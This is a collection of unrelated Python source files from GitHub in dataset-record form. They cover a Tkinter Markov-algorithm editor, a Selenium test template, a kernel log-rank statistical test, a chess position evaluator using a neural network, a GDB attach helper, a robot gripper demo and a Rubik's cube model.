'italic'))\r\n self.__botonStep.grid(row=2, column=9, padx=5, pady=5, sticky=W + E + N + S)\r\n \r\n # widgets de frame de history\r\n self.__frameHistorial = Frame(self.__frame2, bg=\"lightgray\")\r\n self.__frameHistorial.grid(row=1, column=0, padx=10, pady=10, sticky=W + E + N + S)\r\n \r\n self.__labelhistory = Label(self.__frameHistorial, text=\"History\", font=('Arial', 12, 'bold', 'italic'))\r\n self.__labelhistory.grid(row=0, column=0, padx=1, pady=1)\r\n \r\n self.__labelOcultarHistorial = Label(self.__frameHistorial, text=\"--\", font=('Arial', 12, 'bold', 'italic'))\r\n self.__labelOcultarHistorial.grid(row=0, column=3, padx=1, pady=1)\r\n \r\n self.__historial = Text(self.__frameHistorial, width=38, height=15, bd=2)\r\n self.__historial.grid(row=1, column=0, columnspan=4, padx=5, pady=5)\r\n \r\n # WE ADD A VERTICAL SCROLL TO OUR ETXT WIDGET.\r\n # self.__scrollHistory = Scrollbar(self.__historial,command=self.__historial.yview)\r\n # self.__scrollHistory.pack(expand=True,fill=\"both\")\r\n \r\n def createMenu(self):\r\n self.__menuBar = Menu(self.__root)\r\n self.__root.config(menu=self.__menuBar)\r\n # ONCE WE HAVE CREATED OUR MENU, WE NEED TO ADD ITEMS TO OUR MENU, TEHN WE CALL TIS METHOD.\r\n self.addMenuItems()\r\n\r\n def addMenuItems(self):\r\n # tearoff=0, THIS ATTRIBUTE IS TO AVOID SHOWING THE DEFAULT ITEM BAR IN OUR MENU ITEM.\r\n self.__archiveItemMenu = Menu(self.__menuBar, tearoff=0)\r\n self.__editItemMenu = Menu(self.__menuBar, tearoff=0)\r\n self.__toolsItemMenu = Menu(self.__menuBar, tearoff=0)\r\n self.__helpItemMenu = Menu(self.__menuBar, tearoff=0)\r\n self.__menuBar.add_cascade(label=\"Archivo\", menu=self.__archiveItemMenu)\r\n self.__menuBar.add_cascade(label=\"Editar\", menu=self.__editItemMenu)\r\n self.__menuBar.add_cascade(label=\"Herramientas\", menu=self.__toolsItemMenu)\r\n self.__menuBar.add_cascade(label=\"Ayuda\", menu=self.__helpItemMenu)\r\n \r\n # ONCE WE HAVE ADDED ITEMS TO OUR MENU, WE JUST NEED TO ADD OPCTION TO EACH MENU ITEM.\r\n # TEHN WE CALL THE METHOD BELOW\r\n self.addItemsMenuOptions()\r\n\r\n def addItemsMenuOptions(self):\r\n # WE AREA ADDING OPTIONS TO THE ITEM ARCHIVE\r\n self.__archiveItemMenu.add_command(label=\"Nuevo\")\r\n self.__archiveItemMenu.add_command(label=\"Guardar\", command=self.saveAlgorimth)\r\n self.__archiveItemMenu.add_command(label=\"Recuperar\", command=self.loadAlgorimth)\r\n self.__archiveItemMenu.add_separator()\r\n self.__archiveItemMenu.add_command(label=\"Salir\", command=self.closeApplication)\r\n \r\n # WE AREA ADDING OPTIONS TO THE ITEM EDIT\r\n self.__editItemMenu.add_command(label=\"Copiar\")\r\n self.__editItemMenu.add_command(label=\"Pegar\")\r\n self.__editItemMenu.add_command(label=\"Cortar\")\r\n \r\n # WE AREA ADDING OPTIONS TO THE ITEM TOOLS\r\n self.__toolsItemMenu.add_command(label=\"Preferencias\")\r\n self.__toolsItemMenu.add_command(label=\"Inicializar repositorio\")\r\n self.__toolsItemMenu.add_command(label=\"Conectar con Git\")\r\n \r\n # WE AREA ADDING OPTIONS TO THE ITEM HELP\r\n self.__helpItemMenu.add_command(label=\"Bienvenido\")\r\n self.__helpItemMenu.add_command(label=\"Ver ayuda\")\r\n self.__helpItemMenu.add_command(label=\"Sobre este software\")\r\n\r\n def createAlgorimthFile(self):\r\n self.__archivo = open(\"algoritmo.txt\", \"w\")\r\n self.__archivo.write(\"//Alfabeto\\nL = {a, b}\\n\\n//Reglas\\n \\nab -> a\\na -> b\")\r\n self.__archivo.close()\r\n\r\n def createAuxAlgorimth(self):\r\n self.__archivo = open(\"algoritmo.txt\", \"a\")\r\n for i in range(10) :\r\n self.__archivo.write(\" \" + str(i) + \" \" + \"a\" + \"->\" + \"b\\n\")\r\n self.__archivo.close()\r\n\r\n def readDefaultAlgorimth(self):\r\n self.__texto = open(\"algoritmo.txt\", \"r\")\r\n self.__lineas = self.__texto.readlines()\r\n \r\n for i in range(7):\r\n self.__cajalenguaje.insert(INSERT, self.__lineas[i])\r\n self.__texto.close()\r\n \r\n def saveAlgorimth(self):\r\n self.__archivo = open(\"algoritmo4.txt\", \"w\")\r\n self.__archivo.write(self.__cajalenguaje.get(1.0, END))\r\n self.__archivo.close()\r\n\r\n # print(self.__cajalenguaje.get(1.0,END))\r\n def loadAlgorimth(self):\r\n self.__file = filedialog.askopenfilename(title=\"ABRE UN DOCUMENTO PARA EL PROYECTO DE PARADIGMAS\", initialdir=\"C:\")\r\n #filetypes=((\"Ficheros de Excel\",\".xlsx\"),(\"Ficheros de texto\",\".txt\"),(\"Todos lo ficheros\",\".*\")))\r\n self.__fileName = path.basename(self.__file)\r\n self.__archivo = open(self.__fileName, \"r\")\r\n self.__lineas = self.__archivo.readlines()\r\n # BEFORE ADDING NEW ALGORIMTH TO WIDGET TEXT, WE HAVE TO CLEAR THE TEXT IN THE WIDGET.\r\n self.__cajalenguaje.delete(1.0, END)\r\n for i in range(len(self.__lineas)):\r\n self.__cajalenguaje.insert(END, self.__lineas[i])\r\n self.__texto.close()\r\n \r\n def isAlfabeto(self, cadena):\r\n perteneceAlfabeto = True\r\n print(cadena)\r\n for i in range(len(cadena)):\r\n if(self.__lineas[1].__contains__(cadena[i])):\r\n print(perteneceAlfabeto)\r\n continue\r\n else:\r\n perteneceAlfabeto = False\r\n return perteneceAlfabeto\r\n \r\n def addStringToHistory(self):\r\n print(self.__lineas[1])\r\n if(self.isAlfabeto(self.__cajatexto.get())):\r\n self.__historial.insert(INSERT, \"[\" + str(len(self.__cajatexto.get())) + \"] \" + self.__cajatexto.get() + \"\\n\")\r\n \r\n #markovAlgorim(self.__cajatexto.get(), reglas); El segundo parametro deben ser las reglas, una lista con el formato indicado.\r\n #Este algoritmo devuelve la cadena resultado despues de aplicar toda slas reglas posibles.\r\n else:\r\n messagebox.showwarning(\"Esta palabra no corresponde al lenguaje utilizado!\")\r\n \r\n","repo_name":"joseocampo/Markov-Algorithm","sub_path":"Markov_Algorithm/logica/Ventana.py","file_name":"Ventana.py","file_ext":"py","file_size_in_byte":9734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33229945830","text":"import unittest\nfrom selenium import webdriver\n\nclass HelloWorld(unittest.TestCase):\n\n def setUp(self):\n self.driver = webdriver.Chrome(executable_path = r\"../bin/chromedriver.exe\")\n driver = self.driver\n driver.implicitly_wait(30)\n driver.maximize_window()\n driver.get(\"webpage\")\n\n\n def tearDown(self):\n self.driver.implicitly_wait(30)\n self.driver.close()\n \n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)","repo_name":"AlbertoCor/Selenium_noob_Code","sub_path":"scripts/0_template_unittest_selenium.py","file_name":"0_template_unittest_selenium.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8892539354","text":"import numpy as np\nimport pandas as pd\nfrom kernel_logrank.utils.get_kernel_matrix import get_total_kernel_matrix\nfrom kernel_logrank.utils.preprocess_data import preprocess\n\n\ndef wild_bootstrap_test_logrank_covariates(X,\n z,\n d,\n kernels_x,\n kernel_z,\n kernel_parameters_x=None,\n kernel_parameters_z=None,\n seed=1,\n num_bootstrap_statistics=1999,\n fast_computation=True):\n local_state = np.random.RandomState(seed)\n n, p = np.shape(X)\n X, z, d = preprocess(X, z, d)\n\n # Define Y_matrix[i,:] to be the vector of indicators who are at risk at the i-th event time.\n Y_matrix = np.triu(np.ones(n))\n\n # Define Y[i] count the number of individuals at risk at the i-th event time.\n Y = n - np.arange(n)\n\n # Define A[i,:] to be a normalized (each row sums to 1) indicator of being at risk at time i.\n scale_by_Y = np.diag(1 / Y)\n A = np.matmul(scale_by_Y, Y_matrix)\n\n # Define censoring_matrix[i,j] to be d[i]d[j]\n censoring_matrix = np.outer(d, d)\n\n # Subtract A from the identity matrix\n I_minus_A = np.identity(n) - A\n\n Kx = get_total_kernel_matrix(X, kernels_x, kernel_parameters=kernel_parameters_x, d=d)\n Kz = get_total_kernel_matrix(z[:, None], kernel_z, kernel_parameters=kernel_parameters_z, d=d)\n\n # Define Lz to be the kernel matrix on Z, with elementwise multiplication of the censoring matrix.\n Lz = np.multiply(Kz, censoring_matrix)\n\n # Define the first_product matrix that we can re-use for computation in the wilde bootstrap.\n if fast_computation:\n M1 = (Kx - np.divide(np.flip(np.cumsum(np.flip(Kx, axis=0), axis=0), axis=0), Y[:, None])) # (I-A)Kx\n first_product = M1 - np.divide(np.flip(np.cumsum(np.flip(M1, axis=1), axis=1), axis=1), Y[None, :])\n else:\n first_product = np.matmul(np.matmul(I_minus_A, Kx), np.transpose(I_minus_A))\n original_statistic = np.sum(np.multiply(first_product, Lz))\n\n # Perform the wild bootstrap procedure\n statistic_list = np.zeros(num_bootstrap_statistics + 1)\n statistic_list[0] = original_statistic\n\n for b in range(num_bootstrap_statistics):\n W = local_state.binomial(1, 1 / 2, size=n) * 2 - 1\n WM = np.outer(W, W)\n bootstrapLz = np.multiply(WM, Lz)\n multmatrix = np.multiply(first_product, bootstrapLz)\n bootstrap_statistic = np.sum(multmatrix)\n statistic_list[b + 1] = bootstrap_statistic\n\n # Compute the rank of the first element\n vec = pd.Series(statistic_list)\n ranks = vec.sample(frac=1).rank(method='first', ascending=False)\n rank = ranks[0]\n p = (rank - 1) / (num_bootstrap_statistics + 1)\n\n return original_statistic, p\n\n\nif __name__ == '__main__':\n # Generate some data\n from kernel_logrank.utils.generate_synthetic_data import generate_synthetic_data\n\n X, z, d = generate_synthetic_data()\n\n # Run the test\n print(wild_bootstrap_test_logrank_covariates(X, z, d, 'linfis', 'gau'))\n print(wild_bootstrap_test_logrank_covariates(X, z, d, 'gau', 'gau', fast_computation=True))\n","repo_name":"davidrindt/KernelLogrankTest","sub_path":"kernel_logrank/tests/wild_bootstrap_LR.py","file_name":"wild_bootstrap_LR.py","file_ext":"py","file_size_in_byte":3385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40983862611","text":"#https://www.youtube.com/watch?v=JcI5Vnw0b2c&list=PLQVvvaa0QuDfKTOs3Keq_kaG2P55YRn5v&index=2\n\nimport pandas as pd\nimport quandl\nimport os\n\nQuandlKey = os.environ[\"quandlkey\"]\n\n\ndf= quandl.get(\"WIKI/GOOGL\", authtoken = QuandlKey)\n#print df.head()\n\ndf = df[['Adj. Open','Adj. High','Adj. Low','Adj. Close','Adj. Volume',]]\ndf['HL_PCT'] = (df['Adj. High'] - df['Adj. Close'])/df['Adj. Close'] *100.0\ndf['PCT_Change'] = (df['Adj. Close'] - df['Adj. Open'])/df['Adj. Open'] *100.0\ndf =df[['Adj. Close','HL_PCT','PCT_Change','Adj. Volume']]\n\nprint(df.head)","repo_name":"wherby/code","sub_path":"hackerrank/machinelearning/f2.py","file_name":"f2.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"4592133053","text":"#!/usr/bin/env python3\r\n\r\nimport argparse\r\n\r\nfrom onrobot import VG\r\n\r\n\r\ndef get_options():\r\n \"\"\"Returns user-specific options.\"\"\"\r\n parser = argparse.ArgumentParser(description='Set options.')\r\n parser.add_argument(\r\n '--ip', dest='ip', type=str, default=\"192.168.1.1\",\r\n help='set ip address')\r\n parser.add_argument(\r\n '--port', dest='port', type=str, default=\"502\",\r\n help='set port number')\r\n return parser.parse_args()\r\n\r\n\r\ndef run_demo():\r\n \"\"\"Runs pump on/off demonstration once.\"\"\"\r\n vg = VG(toolchanger_ip, toolchanger_port)\r\n\r\n vg.vacuum_on(sleep_sec=5.0)\r\n vg.release_vacuum()\r\n vg.vacuum_on_channelA(sleep_sec=5.0)\r\n vg.release_vacuum_channelA()\r\n vg.vacuum_on_channelB(sleep_sec=5.0)\r\n vg.release_vacuum_channelB()\r\n\r\n vg.close_connection()\r\n\r\n\r\nif __name__ == '__main__':\r\n args = get_options()\r\n toolchanger_ip = args.ip\r\n toolchanger_port = args.port\r\n run_demo()\r\n","repo_name":"takuya-ki/onrobot-vg","sub_path":"src/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"3905012901","text":"import gdb\nfrom subprocess import check_output, CalledProcessError\n\nclass AttachPidofCommand (gdb.Command):\n \"Attach to process by name\"\n\n def __init__ (self):\n super (AttachPidofCommand, self).__init__ (\"attach_pidof\",\n gdb.COMMAND_SUPPORT,\n gdb.COMPLETE_NONE, True)\n\n def invoke (self, arg, from_tty):\n try:\n pid = check_output([\"pidof\", arg]).split()[0].decode(\"utf-8\")\n except CalledProcessError:\n gdb.write('process \\'%s\\' not found\\n' % (arg))\n return\n gdb.write('attach to \\'%s\\' (%s)\\n' % (arg, pid))\n gdb.execute('attach %s' % (pid), from_tty)\n\nAttachPidofCommand()\n","repo_name":"pmod/toys","sub_path":"gdb/python_ext/attach_pidof.py","file_name":"attach_pidof.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2344226692","text":"\nimport Pavlids as pd\nimport observerImages\nimport numpy as np\nimport reparemetrageEuclidien as rd\nimport cv2\n#import random\nimport os \nimport classifier\ndef crimmins(xi,yi,n0,n1):\n zi = [(i * 1j) + h for i,h in zip(yi,xi)]\n tfourier = np.fft.fft(zi)\n fourier = np.fft.fftshift(tfourier)\n I = list()\n for i in range(-len(zi)//2,len(zi)//2) :\n In = (fourier[i]**(n0-n1)) * (fourier[n0-1]**(n1-i)) * (fourier[n1-1]**(i-n0))\n I.append(In)\n return I\n\ndef criminisDescriptor(observerImages):\n# data=[]\n x1=[]\n y1=[]\n for img in os.listdir(observerImages.getPath()):\n try:\n image=cv2.imread(observerImages.getPath()+'/'+img,0)\n contour_complex=pd.pavlidis(image)\n x,y=rd.Reparametrage_euclidien(contour_complex.real,contour_complex.imag,100)\n classe=observerImages.getClasse(img)\n I=crimmins(x,y,3,2)\n x1.append(I)\n y1.append(classe)\n \n \n print(\"succes read \"+img)\n # print(data)\n except:\n print(\"error in \"+img)\n return x1,y1\n\npath=r'C:\\Users\\asus\\Desktop\\knn_mpeg\\PNG_data2'\nobserverImages=observerImages.observerImages(path)\nx,y=criminisDescriptor(observerImages)\nx1=[]\nfor i in x:\n \n x1.append(np.absolute(i))\ncl=classifier.classifier(x1,y)\nscoreKnn=cl.knn()\n\n\n \n \n \n ","repo_name":"Maryemsamout/knn_augmentation-","sub_path":"knnProject/criminisDescriptore.py","file_name":"criminisDescriptore.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"44680060143","text":"T = int(input()) # number of Test case\n\nfor test_case in range(1, T + 1):\n k = int(input()) # k-th lexicographical order\n s = input() # string s\n subs = set()\n\n for start in range(0, len(s)):\n for gap in range(1, len(s) + 1):\n if start + gap <= len(s):\n subs.add(s[start: start + gap])\n\n subs = sorted(subs)\n\n # when the k-th string doesnt exist\n if k <= 0 or k > len(subs):\n print(f'#{test_case} none')\n else:\n print(f'#{test_case} {subs[k-1]}')\n","repo_name":"childult-programmer/algorithm_study","sub_path":"1.string/DAY1/kth_string_LSI.py","file_name":"kth_string_LSI.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27375308912","text":"\r\ndef convertFenToBoard(fen):\r\n index = fen.index(' ')\r\n board = fen[0:index]\r\n rest = fen[fen.index(' ')+1:]\r\n whiteTurn = 0\r\n whiteKC = 0\r\n whiteQC = 0\r\n blackKC = 0\r\n blackQC = 0\r\n if 'w' in rest:\r\n whiteTurn = 1\r\n if 'K' in rest:\r\n whiteKC = 1\r\n if 'Q' in rest:\r\n whiteQC = 1\r\n if 'k' in rest:\r\n blackKC = 1\r\n if 'q' in rest:\r\n blackQC = 1\r\n\r\n matrix = np.zeros(shape=(2, 6, 8, 8))\r\n currRow = 0\r\n currCol = 0\r\n for c in board:\r\n if c=='/':\r\n currRow = currRow + 1\r\n currCol = 0\r\n continue\r\n elif c>='1' and c<='8':\r\n currCol = currCol + int(str(c))\r\n continue\r\n\r\n lower = c.lower()\r\n piece = 0\r\n if lower == 'p':\r\n piece = 0\r\n elif lower == 'r':\r\n piece = 1\r\n elif lower == 'n':\r\n piece = 2\r\n elif lower == 'b':\r\n piece = 3\r\n elif lower == 'q':\r\n piece = 4\r\n elif lower == 'k':\r\n piece = 5\r\n\r\n colour = 0\r\n if c.islower():\r\n colour = 1\r\n matrix[colour][piece][currRow][currCol]=1\r\n currCol = currCol+1\r\n matrix = np.reshape(matrix, (768)).tolist()\r\n matrix.append(whiteKC)\r\n matrix.append(whiteQC)\r\n matrix.append(blackKC)\r\n matrix.append(blackQC)\r\n matrix.append(whiteTurn)\r\n return matrix\r\n\r\ndef getAllNextPositions(board, includeCaptures):\r\n positions = []\r\n for move in list(board.legal_moves):\r\n c = board.copy()\r\n c.push(move)\r\n if includeCaptures == False and (isCaptureMove(c, board) or c.has_legal_en_passant()):\r\n continue\r\n positions.append(c)\r\n return positions\r\n\r\nimport Utils.ModelGenerator as mg\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport chess\r\n\r\nmodel = mg.genModel()\r\nmodel.load_weights('Model/totalModel50SGD')\r\nmodel =tf.lite.TFLiteConverter.from_keras_model(model).convert()\r\nwith open('model.tflite', 'wb') as f:\r\n f.write(model)\r\n\r\nmodel = tf.lite.Interpreter(model_path=\"model.tflite\")\r\nmodel.allocate_tensors()\r\n\r\ninput_details = model.get_input_details()\r\noutput_details = model.get_output_details()\r\ndef compare(b1, b2):\r\n w = '1-0'\r\n b = '0-1'\r\n whiteLeft = [1.0, 0.0]\r\n whiteRight = [0.0, 1.0]\r\n if b1.is_checkmate() and b2.is_checkmate():\r\n if b1.result() == b2.result():\r\n if b1.result() == w:\r\n if b1.fullmove_number < b2.fullmove_number:\r\n return whiteLeft\r\n else:\r\n return whiteRight\r\n else:\r\n if b1.fullmove_number < b2.fullmove_number:\r\n return whiteRight\r\n else:\r\n return whiteLeft\r\n elif b1.result()==w:\r\n return whiteLeft\r\n else:\r\n return whiteRight\r\n elif b1.is_checkmate():\r\n if b1.result() == w:\r\n return whiteLeft\r\n else:\r\n return whiteRight\r\n elif b2.is_checkmate():\r\n if b2.result() == b:\r\n return whiteLeft\r\n else:\r\n return whiteRight\r\n\r\n\r\n isB1Stale = b1.is_stalemate()\r\n isB2Stale = b2.is_stalemate()\r\n\r\n if (isB1Stale == True and isB2Stale == True):\r\n return [0.5, 0.5]\r\n elif (isB1Stale == True):\r\n b1 = chess.Board()\r\n elif (isB2Stale == True):\r\n b2 = chess.Board()\r\n\r\n m1 = convertFenToBoard(b1.fen())\r\n m2 = convertFenToBoard(b2.fen())\r\n #t = time.time()\r\n model.set_tensor(input_details[0]['index'], np.asarray([m1],dtype=np.float32))\r\n model.set_tensor(input_details[1]['index'], np.asarray([m2], dtype=np.float32))\r\n model.invoke()\r\n pred = model.get_tensor(output_details[0]['index'])\r\n #print(time.time() - t)\r\n # print(\"-----\")\r\n # print(b1)\r\n # print(\"--\")\r\n # print(b2)\r\n # print(pred[0])\r\n # print(\"-----\")\r\n return pred[0]\r\n\r\nimport timeit\r\nimport time\r\nimport multiprocessing as mp\r\nimport chess\r\n\r\ndef isBetter(b1, b2, isWhiteMove):\r\n if b1 == None:\r\n return False\r\n vals = compare(b1, b2)\r\n if (isWhiteMove and vals[0] > vals[1]) or (isWhiteMove == False and vals[1] > vals[0]):\r\n return True\r\n return False\r\n\r\ndef isCaptureMove(currPos, prevPos):\r\n curr = currPos.fen()\r\n prev = prevPos.fen()\r\n curr = curr[0:curr.index(' ')]\r\n prev = prev[0:prev.index(' ')]\r\n def numPieces(b):\r\n num = 0\r\n for i in b:\r\n if i in ['p','r','n','b','q','k','P','R','N','B','Q','K']:\r\n num = num + 1\r\n return num\r\n if numPieces(curr) < numPieces(prev):\r\n return True\r\n return False\r\n\r\ndef getNextWhiteMove(board, alpha, depth, maxDepth):\r\n if board.is_checkmate() or board.is_stalemate():\r\n return board\r\n nextPositions = getAllNextPositions(board, True)\r\n currPos = None\r\n nextMove = True\r\n\r\n i = -1\r\n index = -1\r\n\r\n for pos in nextPositions:\r\n index = index + 1\r\n compareTo = pos\r\n if depth < maxDepth or pos.has_legal_en_passant():\r\n compareTo = getNextBlackMove(pos, currPos, depth + 1, maxDepth)\r\n change = False\r\n if currPos == None or (compareTo.fen() != currPos.fen() and isBetter(compareTo, currPos, True)):\r\n currPos = compareTo\r\n i = index\r\n change = True\r\n if alpha != None and change and isBetter(currPos, alpha, True):\r\n return alpha\r\n\r\n if len(nextPositions)==0 or i == -1:\r\n return board\r\n if (depth == 0):\r\n return nextPositions[i]\r\n return currPos\r\n\r\n\r\ndef getNextBlackMove(board, alpha, depth, maxDepth):\r\n if board.is_checkmate() or board.is_stalemate():\r\n return board\r\n nextPositions = getAllNextPositions(board, True)\r\n currPos = None\r\n nextMove = True\r\n\r\n i = -1\r\n index = -1\r\n\r\n for pos in nextPositions:\r\n index = index + 1\r\n compareTo = pos\r\n if depth List[int]:\n window = deque()\n result = []\n for idx, val in enumerate(nums):\n # Remove element small than current value in the window\n while window and val > nums[window[-1]]:\n window.pop()\n window.append(idx)\n \"\"\"\n Ex. nums = [0, 1, 2, 3, 4, 5]\n idx = 2, k = 2, window = 0, [1, 2], 3, 4, 5 If window[0] == 0 pop\n idx = 3, k = 2, window = 0, 1, [2, 3], 4, 5 If window[0] == 1 pop\n \"\"\"\n if window[0] == idx - k:\n window.popleft()\n if idx >= k - 1:\n result.append(nums[window[0]])\n return result\n","repo_name":"thecode00/Algorithm-Problem-Solve","sub_path":"Leetcode/Python/239. Sliding Window Maximum/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34831434704","text":"# Derek Wang\n\n# Rubiks Cube Representation\n\n# In order to do this project, we need to define a Rubiks Cube and all provide state management\n# An agent should be able to perform any of the different rotations which will allow the agent to solve the cube.\n\n# We will construct this with a 3x3x3 traditional Rubik's Cube in mind but account for variable size\n\nclass Cube:\n # Init the cube using a give size\n def __init__(self):\n self.__size__ = 3\n self.__front__ = [[0 for x in range(self.__size__)] for x in range(self.__size__)]\n self.__left__ = [[1 for x in range(self.__size__)] for x in range(self.__size__)]\n self.__back__ = [[2 for x in range(self.__size__)] for x in range(self.__size__)]\n self.__top__ = [[3 for x in range(self.__size__)] for x in range(self.__size__)]\n self.__right__ = [[4 for x in range(self.__size__)] for x in range(self.__size__)]\n self.__bottom__ = [[5 for x in range(self.__size__)] for x in range(self.__size__)]\n \n def set_front(self, l):\n if len(l) == 3 & len(l[0]) == 3 & len(l[1]) == 3 & len(l[2]) == 3:\n self.__front__ = l\n else:\n raise Exception(\"Input lists incorrect length\")\n\n def set_left(self, l):\n if len(l) == 3 & len(l[0]) == 3 & len(l[1]) == 3 & len(l[2]) == 3:\n self.__left__ = l\n else:\n raise Exception(\"Input lists incorrect length\")\n\n def set_back(self, l):\n if len(l) == 3 & len(l[0]) == 3 & len(l[1]) == 3 & len(l[2]) == 3:\n self.__back__ = l\n else:\n raise Exception(\"Input lists incorrect length\")\n\n def set_top(self, l):\n if len(l) == 3 & len(l[0]) == 3 & len(l[1]) == 3 & len(l[2]) == 3:\n self.__top__ = l\n else:\n raise Exception(\"Input lists incorrect length\")\n\n def set_right(self, l):\n if len(l) == 3 & len(l[0]) == 3 & len(l[1]) == 3 & len(l[2]) == 3:\n self.__right__ = l\n else:\n raise Exception(\"Input lists incorrect length\")\n\n def set_bottom(self, l):\n if len(l) == 3 & len(l[0]) == 3 & len(l[1]) == 3 & len(l[2]) == 3:\n self.__bottom__ = l\n else:\n raise Exception(\"Input lists incorrect length\")\n\n def get_front(self):\n \"\"\"\n Get the front face of the cube\n \"\"\"\n return self.__front__\n \n def get_back(self):\n \"\"\"\n Get the back face of the cube\n \"\"\"\n return self.__back__\n \n def get_left(self):\n \"\"\"\n Get the back face of the cube\n \"\"\"\n return self.__left__\n\n def get_right(self):\n \"\"\"\n Get the back face of the cube\n \"\"\"\n return self.__right__\n\n def get_top(self):\n \"\"\"\n Get the back face of the cube\n \"\"\"\n return self.__top__\n\n def get_bottom(self):\n \"\"\"\n Get the back face of the cube\n \"\"\"\n return self.__bottom__\n\n\n def rotate_face(self, matrix):\n \"\"\"\n Takes in the 2 dimentional face representation and performs the matrix operation of clockwise rotation\n The new matrix is returned\n \"\"\"\n temp = [[],[],[]] # Generate the new matrix\n for x in reversed(range(self.__size__)):\n for y in range(self.__size__):\n temp[y].append(matrix[x][y])\n return temp\n\n def rotate_front(self):\n \"\"\"\n Rotate front face of the cube\n \"\"\"\n # Rotate the face itself clockwise\n self.__front__ = self.rotate_face(self.__front__)\n # Perform the rotations on the edges\n # The top and bottom edges can save values before transfer\n new_top = [self.__left__[row][-1] for row in reversed(range(self.__size__))]\n new_bottom = [self.__right__[row][0] for row in reversed(range(self.__size__))]\n # Transfer top and bottom to the sides\n # Top to right\n for idx in range(self.__size__):\n self.__right__[idx][0] = self.__top__[-1][idx]\n\n # Bottom to left\n for idx in range(self.__size__):\n self.__left__[idx][-1] = self.__bottom__[0][idx]\n \n # Replace the top and bottom\n self.__top__[-1] = new_top\n self.__bottom__[0] = new_bottom\n \n def rotate_back(self):\n \"\"\"\n Rotate back face of the cube\n \"\"\"\n # Rotate the face itself clockwise\n self.__back__ = self.rotate_face(self.__back__)\n\n new_top = [self.__right__[row][-1] for row in range(self.__size__)]\n new_bottom = [self.__left__[row][0] for row in range(self.__size__)]\n # Transfer top and bottom to the sides\n # Top to right face in this orientation\n for idx in range(self.__size__):\n self.__left__[idx][0] = self.__top__[0][-1 - idx]\n\n # Bottom to left\n for idx in range(self.__size__):\n self.__right__[idx][-1] = self.__bottom__[-1][-1 - idx]\n \n # Replace the top and bottom\n self.__top__[0] = new_top\n self.__bottom__[-1] = new_bottom\n\n def rotate_left(self):\n \"\"\"\n Rotate left face of the cube\n \"\"\"\n # Rotate the face itself clockwise\n self.__left__ = self.rotate_face(self.__left__)\n\n # Grab the actual data being moved\n new_top = [self.__back__[row][-1] for row in reversed(range(self.__size__))]\n new_bottom = [self.__front__[row][0] for row in reversed(range(self.__size__))]\n\n new_right = [self.__top__[idx][0] for idx in range(self.__size__)]\n new_left = [self.__bottom__[idx][0] for idx in reversed(range(self.__size__))]\n\n # Transfer top and bottom to the sides\n # Top to right face in this orientation\n for idx in range(self.__size__):\n # Back to top\n self.__top__[idx][0] = new_top[idx]\n # Front to bottom\n self.__bottom__[idx][0] = new_bottom[::-1][idx]\n # top to front\n self.__front__[idx][0] = new_right[idx]\n # bottom to back\n self.__back__[idx][-1] = new_left[idx]\n\n def rotate_right(self):\n \"\"\"\n Rotate right side clockwise\n \"\"\"\n # Rotate the face itself clockwise \n self.__right__ = self.rotate_face(self.__right__)\n\n # Grab the actual data being moved\n new_top = [self.__front__[row][-1] for row in range(self.__size__)]\n new_bottom = [self.__back__[row][0] for row in reversed(range(self.__size__))]\n\n new_right = [self.__top__[idx][-1] for idx in reversed(range(self.__size__))]\n new_left = [self.__bottom__[idx][-1] for idx in range(self.__size__)]\n\n # Transfer top and bottom to the sides\n # Top to right face in this orientation\n for idx in range(self.__size__):\n # Back to top\n self.__top__[idx][-1] = new_top[idx]\n # Front to bottom\n self.__bottom__[idx][-1] = new_bottom[idx]\n # top to front\n self.__front__[idx][-1] = new_left[idx]\n # bottom to back\n self.__back__[idx][0] = new_right[idx]\n\n def rotate_top(self):\n \"\"\"\n Rotate top clockwise\n \"\"\"\n #grab bottom row of front, left, right, back\n temp = []\n temp = self.__front__[0]\n self.__front__[0] = self.__right__[0]\n self.__right__[0] = self.__back__[0]\n self.__back__[0] = self.__left__[0]\n self.__left__[0] = temp\n\n # Rotate the face itself clockwisez \n self.__top__ = self.rotate_face(self.__top__)\n\n def rotate_bottom(self):\n \"\"\"\n Rotate bottom face clockwise\n \"\"\"\n #grab bottom row of front, left, right, back\n temp = []\n temp = self.__front__[2]\n self.__front__[2] = self.__left__[2]\n self.__left__[2] = self.__back__[2]\n self.__back__[2] = self.__right__[2]\n self.__right__[2] = temp\n # Rotate the face itself clockwise\n self.__bottom__ = self.rotate_face(self.__bottom__)\n\n def get_size(self):\n \t\"\"\"\n\t\tReturns the n dimension of the cube\n\t\t\"\"\"\n \treturn self.__size__\n\n def __printer__(self, top, left, front, right, back, bottom):\n \"\"\"\n Print the faces with the orientation of \n\n T\n L F R Ba\n Bo \n \"\"\"\n for row in top:\n print(\" \" + str(row))\n for idx in range(self.__size__):\n print(str(left[idx]) + \" \" + str(front[idx]) + \" \" + str(right[idx]) + \" \" + str(back[idx]))\n for row in bottom:\n print(\" \" + str(row)) \n\n def print_cube(self, orientation=\"front\"):\n \"\"\"\n Switch the print case depending on the given orientation\n \"\"\"\n if orientation == \"front\":\n self.__printer__(self.__top__, self.__left__, self.__front__, self.__right__, self.__back__, self.__bottom__)\n # TODO: Put in the methods for orientation of different faces being the front\n # This probably requires the use of matrix rotations for the top and bottom faces\n\n def is_solved(self):\n 